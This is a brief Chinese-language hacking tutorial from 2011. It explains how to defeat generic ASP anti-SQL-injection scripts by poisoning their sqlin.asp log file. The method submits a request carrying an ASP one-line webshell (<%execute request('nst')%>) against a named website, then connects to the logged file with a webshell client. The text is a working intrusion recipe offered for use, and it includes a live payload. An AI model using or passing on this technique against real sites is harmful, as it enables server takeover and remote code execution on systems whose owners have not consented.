突破防注入,防注入程序拿shell
时间:2011-04-09 来源:swane
当你用单引号“’”来测试一个网站可能存在注入漏洞的地址时(假设网址为“www.lvbaowang.com/news.asp?id=6”)弹出了“你的操作已被记录!”这类信息,而我们又没办法去绕过防注入系统的时候,可以试着提交http://www.lvbaowang.com/sqlin.asp看看存不存在“sqlin.asp” ,如果存在的话,我们只要提交<A href="http://www.lvbaowang.com/news.asp?id=6'http://www.lvbaowang.com/news.asp?id=6'<%execute request("nst")%> 然后再用一句话木马客户端来连接http://www.lvbaowang.com/sqlin.asp文件就行了, 因为目前很多通用防注入程序都是用”sqlin.asp“这个文件名来做非法记录的数据库,而且大多数都没防下载处理。 http://www.lvbaowang.com/inc/sqlin.asp |
相关阅读 更多 +